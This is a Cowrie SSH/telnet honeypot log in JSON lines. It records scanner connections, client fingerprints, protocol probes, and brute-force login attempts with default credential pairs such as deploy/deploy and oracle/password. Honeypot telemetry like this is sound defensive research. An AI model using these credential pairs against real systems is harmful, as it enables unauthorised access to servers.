{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:36.329537Z","src_ip":"101.36.111.155","session":"1fa12886a342","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"1234","message":"login attempt [elastic/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:37.224583Z","src_ip":"101.36.111.155","session":"1fa12886a342","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:37.233125Z","src_ip":"165.154.137.186","session":"a87e85e096e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":35720,"dst_ip":"10.17.0.5","dst_port":22,"session":"521746cb3bc2","protocol":"ssh","message":"New connection: 165.154.137.186:35720 (10.17.0.5:22) [session: 521746cb3bc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:38.409113Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:38.414033Z","src_ip":"165.154.137.186","session":"521746cb3bc2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:38.441453Z","src_ip":"101.36.111.155","session":"1fa12886a342","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:38.709352Z","src_ip":"165.154.137.186","session":"521746cb3bc2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"samba","password":"samba","message":"login attempt [samba/samba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:39.548976Z","src_ip":"165.154.137.186","session":"521746cb3bc2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:40.813301Z","src_ip":"165.154.137.186","session":"521746cb3bc2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.15.88","src_port":58582,"dst_ip":"159.203.135.109","dst_port":23,"session":"550506318268","protocol":"telnet","message":"New connection: 34.79.15.88:58582 (159.203.135.109:23) [session: 550506318268]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:41.523720Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 159.203.135.109:23","message":"login attempt [GET / HTTP/1.1/Host: 159.203.135.109:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:41.528769Z","src_ip":"34.79.15.88","session":"550506318268","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36","password":"Accept-Encoding: gzip","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36/Accept-Encoding: gzip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:41.534113Z","src_ip":"34.79.15.88","session":"550506318268","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.09203147888183594,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:41.615639Z","src_ip":"34.79.15.88","session":"550506318268","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.15.88","src_port":58594,"dst_ip":"159.203.135.109","dst_port":23,"session":"52adc2ead3fb","protocol":"telnet","message":"New connection: 34.79.15.88:58594 (159.203.135.109:23) [session: 52adc2ead3fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:41.687721Z"}
{"eventid":"cowrie.session.closed","duration":0.004550933837890625,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:41.692246Z","src_ip":"34.79.15.88","session":"52adc2ead3fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.15.88","src_port":58602,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ddef6682268","protocol":"telnet","message":"New connection: 34.79.15.88:58602 (159.203.135.109:23) [session: 2ddef6682268]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:41.844871Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.15.88","src_port":58610,"dst_ip":"159.203.135.109","dst_port":23,"session":"6260ba2865a4","protocol":"telnet","message":"New connection: 34.79.15.88:58610 (159.203.135.109:23) [session: 6260ba2865a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:42.000681Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.15.88","src_port":64078,"dst_ip":"159.203.135.109","dst_port":23,"session":"c369ae20fea6","protocol":"telnet","message":"New connection: 34.79.15.88:64078 (159.203.135.109:23) [session: c369ae20fea6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:42.153752Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.15.88","src_port":64080,"dst_ip":"159.203.135.109","dst_port":23,"session":"72ec9fa7012d","protocol":"telnet","message":"New connection: 34.79.15.88:64080 (159.203.135.109:23) [session: 72ec9fa7012d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:42.308082Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.15.88","src_port":64090,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd95d5315618","protocol":"telnet","message":"New connection: 34.79.15.88:64090 (159.203.135.109:23) [session: fd95d5315618]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:42.463971Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.15.88","src_port":64104,"dst_ip":"159.203.135.109","dst_port":23,"session":"32ce1db9cd3f","protocol":"telnet","message":"New connection: 34.79.15.88:64104 (159.203.135.109:23) [session: 32ce1db9cd3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:42.619260Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.15.88","src_port":64108,"dst_ip":"159.203.135.109","dst_port":23,"session":"dbc499d14e07","protocol":"telnet","message":"New connection: 34.79.15.88:64108 (159.203.135.109:23) [session: dbc499d14e07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:42.774598Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":49504,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a7a6ca04228","protocol":"ssh","message":"New connection: 8.210.75.243:49504 (10.17.0.5:22) [session: 5a7a6ca04228]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:42.794975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:42.799051Z","src_ip":"8.210.75.243","session":"5a7a6ca04228","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.15.88","src_port":64118,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8221d14ba36","protocol":"telnet","message":"New connection: 34.79.15.88:64118 (159.203.135.109:23) [session: d8221d14ba36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:42.928717Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.15.88","src_port":64128,"dst_ip":"159.203.135.109","dst_port":23,"session":"517ce20cf63b","protocol":"telnet","message":"New connection: 34.79.15.88:64128 (159.203.135.109:23) [session: 517ce20cf63b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:43.156718Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.15.88","src_port":64134,"dst_ip":"159.203.135.109","dst_port":23,"session":"c45ede84203f","protocol":"telnet","message":"New connection: 34.79.15.88:64134 (159.203.135.109:23) [session: c45ede84203f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:43.310106Z"}
{"eventid":"cowrie.session.closed","duration":0.0042459964752197266,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:43.314161Z","src_ip":"34.79.15.88","session":"c45ede84203f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.15.88","src_port":64136,"dst_ip":"159.203.135.109","dst_port":23,"session":"764c19070def","protocol":"telnet","message":"New connection: 34.79.15.88:64136 (159.203.135.109:23) [session: 764c19070def]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:43.464073Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.15.88","src_port":64152,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7dd899c3c5a","protocol":"telnet","message":"New connection: 34.79.15.88:64152 (159.203.135.109:23) [session: f7dd899c3c5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:43.619955Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.15.88","src_port":64158,"dst_ip":"159.203.135.109","dst_port":23,"session":"63f5bbdc1225","protocol":"telnet","message":"New connection: 34.79.15.88:64158 (159.203.135.109:23) [session: 63f5bbdc1225]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:43.777185Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:43.905716Z","src_ip":"8.210.75.243","session":"5a7a6ca04228","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.15.88","src_port":64172,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ca429c9e0ee","protocol":"telnet","message":"New connection: 34.79.15.88:64172 (159.203.135.109:23) [session: 3ca429c9e0ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:43.933186Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.15.88","src_port":64174,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ff20eafd745","protocol":"telnet","message":"New connection: 34.79.15.88:64174 (159.203.135.109:23) [session: 1ff20eafd745]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:44.085522Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.15.88","src_port":64178,"dst_ip":"159.203.135.109","dst_port":23,"session":"8356d068d302","protocol":"telnet","message":"New connection: 34.79.15.88:64178 (159.203.135.109:23) [session: 8356d068d302]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:44.237569Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.15.88","src_port":64180,"dst_ip":"159.203.135.109","dst_port":23,"session":"734061762ebf","protocol":"telnet","message":"New connection: 34.79.15.88:64180 (159.203.135.109:23) [session: 734061762ebf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:44.392657Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.15.88","src_port":64182,"dst_ip":"159.203.135.109","dst_port":23,"session":"35d46c267f5d","protocol":"telnet","message":"New connection: 34.79.15.88:64182 (159.203.135.109:23) [session: 35d46c267f5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:44.547585Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.15.88","src_port":64190,"dst_ip":"159.203.135.109","dst_port":23,"session":"32ce3b40952a","protocol":"telnet","message":"New connection: 34.79.15.88:64190 (159.203.135.109:23) [session: 32ce3b40952a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:44.703211Z"}
{"eventid":"cowrie.login.failed","username":"*1","password":"$4","message":"login attempt [*1/$4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:44.707185Z","src_ip":"34.79.15.88","session":"32ce3b40952a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.15.88","src_port":64200,"dst_ip":"159.203.135.109","dst_port":23,"session":"a3c7682f8dcf","protocol":"telnet","message":"New connection: 34.79.15.88:64200 (159.203.135.109:23) [session: a3c7682f8dcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:44.862150Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.15.88","src_port":64208,"dst_ip":"159.203.135.109","dst_port":23,"session":"1865711fef82","protocol":"telnet","message":"New connection: 34.79.15.88:64208 (159.203.135.109:23) [session: 1865711fef82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:45.016805Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.15.88","src_port":64224,"dst_ip":"159.203.135.109","dst_port":23,"session":"2996744d0972","protocol":"telnet","message":"New connection: 34.79.15.88:64224 (159.203.135.109:23) [session: 2996744d0972]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:45.170319Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.15.88","src_port":64236,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5acc9d208ef","protocol":"telnet","message":"New connection: 34.79.15.88:64236 (159.203.135.109:23) [session: f5acc9d208ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:45.323210Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.15.88","src_port":64252,"dst_ip":"159.203.135.109","dst_port":23,"session":"a690fcd27f06","protocol":"telnet","message":"New connection: 34.79.15.88:64252 (159.203.135.109:23) [session: a690fcd27f06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:45.478378Z"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy","message":"login attempt [deploy/deploy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:45.492438Z","src_ip":"8.210.75.243","session":"5a7a6ca04228","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.15.88","src_port":64258,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4060ab55041","protocol":"telnet","message":"New connection: 34.79.15.88:64258 (159.203.135.109:23) [session: b4060ab55041]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:45.631275Z"}
{"eventid":"cowrie.session.closed","duration":0.0040509700775146484,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:45.635217Z","src_ip":"34.79.15.88","session":"b4060ab55041","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.15.88","src_port":64272,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d2b2dfbaace","protocol":"telnet","message":"New connection: 34.79.15.88:64272 (159.203.135.109:23) [session: 4d2b2dfbaace]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:45.787211Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.15.88","src_port":64282,"dst_ip":"159.203.135.109","dst_port":23,"session":"78b1dfc3657b","protocol":"telnet","message":"New connection: 34.79.15.88:64282 (159.203.135.109:23) [session: 78b1dfc3657b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:45.943732Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS rtsp://example.com RTSP/1.0","password":"Cseq: 1123","message":"login attempt [OPTIONS rtsp://example.com RTSP/1.0/Cseq: 1123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:45.948477Z","src_ip":"34.79.15.88","session":"78b1dfc3657b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.15.88","src_port":64292,"dst_ip":"159.203.135.109","dst_port":23,"session":"53310f76983e","protocol":"telnet","message":"New connection: 34.79.15.88:64292 (159.203.135.109:23) [session: 53310f76983e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:46.103810Z"}
{"eventid":"cowrie.session.closed","duration":0.0040130615234375,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:46.107694Z","src_ip":"34.79.15.88","session":"53310f76983e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:46.695318Z","src_ip":"8.210.75.243","session":"5a7a6ca04228","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":35104,"dst_ip":"10.17.0.5","dst_port":22,"session":"e50b5565deb4","protocol":"ssh","message":"New connection: 165.154.137.186:35104 (10.17.0.5:22) [session: e50b5565deb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:50.476549Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:50.480021Z","src_ip":"165.154.137.186","session":"e50b5565deb4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:50.737858Z","src_ip":"165.154.137.186","session":"e50b5565deb4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"password","message":"login attempt [oracle/password] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:51.564881Z","src_ip":"165.154.137.186","session":"e50b5565deb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.937340974807739,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:51.880915Z","src_ip":"34.79.15.88","session":"78b1dfc3657b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.10038948059082,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:51.887464Z","src_ip":"34.79.15.88","session":"4d2b2dfbaace","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.566833019256592,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:51.889895Z","src_ip":"34.79.15.88","session":"f5acc9d208ef","protocol":"telnet"}
